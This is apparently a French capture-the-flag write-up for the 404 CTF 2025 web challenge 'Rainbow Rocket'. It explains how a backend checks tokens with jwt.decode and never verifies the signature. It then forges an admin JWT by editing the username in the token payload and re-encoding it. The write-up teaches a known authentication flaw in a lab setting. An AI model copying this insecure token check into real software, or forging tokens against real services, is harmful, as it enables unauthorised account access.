Rainbow Rocket | 404 CTF 2025
Rainbow Rocket
Ressources
URL : https://rainbow-rocket.404ctf.fr FILE : rainbow-rocket.zip - Frontend - Backend
Exploration
Nous regardons les routes :
1
2
3
4
5
router.post('/register', registerUser);
router.post('/login', loginUser);
router.get('/profile', getProfile);
router.post('/verification', verification);
router.get('/flag', flag);
Nous pouvons voir une route /flag mais nous ne pouvons pas y accéder sans compte.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const flag = (req, res) => {
const authHeader = req.headers.authorization;
if (!authHeader) return res.status(401).json({ error: 'Unauthorized' });
const token = authHeader.split(' ')[1];
try {
const decoded = jwt.decode(token);
if (decoded?.username === 'admin') {
return res.json({ flag: process.env.FLAG });
} else {
return res.status(403).json({ error: 'Forbidden' });
}
} catch (err) {
return res.status(400).json({ error: 'Invalid token' });
}
};
Nous devons être admin pour accéder au flag. On peut voir que le token est décodé avec jwt.decode(token) et que le nom d’utilisateur est vérifié.
Nous devons obtenir un compte ou trouver un moyen de nous connecter en tant qu’admin.
Exploitation
Lors de l’inscription, je crée un compte T3stT3st avec le même mot de passe.
Je ne peux pas accéder à la page mais nous pouvons lire le token utilisé :
1
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlQzc3RUM3N0IiwiaWF0IjoxNzQ3MTM1NDY4fQ.d_Hlr_SbLpRSWE9mRTPt0ozuY1L04bKloCA1V1Rfu6zaSsJS7O08xv-XRfA9sL-HCzVtHsiEROpbf4pxnL9dY3tgnF5Xd5Sh-0wh5ZlYfLa2Lo6kSiG4C036o-a6tVR4Uo6lucf36hh5X31HtVmqE7ON843X9ME3ot-XN9bB41VLLRAJS-EKneAEufO8l6ICa9c4SkmT1o9ut63ZcWgrXDDB8wD7BlShI9lgLICRjYVAiEAohpQn5iN262pJbfpR9q0icXBdKMgHDIPYtokyPTyCjlsm4kXiOp4uWdpTaQZb2yCiGy1vXNe6gapYCe3NEP8UIht8QL1FqoQIeZ8eLw
Nous pouvons le décoder
Header
1
2
3
4
{
"alg": "RS256",
"typ": "JWT"
}
Payload
1
2
3
4
{
"username": "T3stT3st",
"iat": 1747135468
}
Peut-être que nous pouvons simplement remplacer “T3stT3st” par “admin” et réessayer d’accéder à la page.
Nous n’avons besoin de changer que la charge utile, donc encodons ceci en base64 :
1
2
3
4
{
"username": "admin",
"iat": 1747135468
}
On obtiens ceci ewogICAgInVzZXJuYW1lIjogImFkbWluIiwKICAgICJpYXQiOiAxNzQ3MTM1NDY4Cn0K
Cela permet bien d’obtenir le flag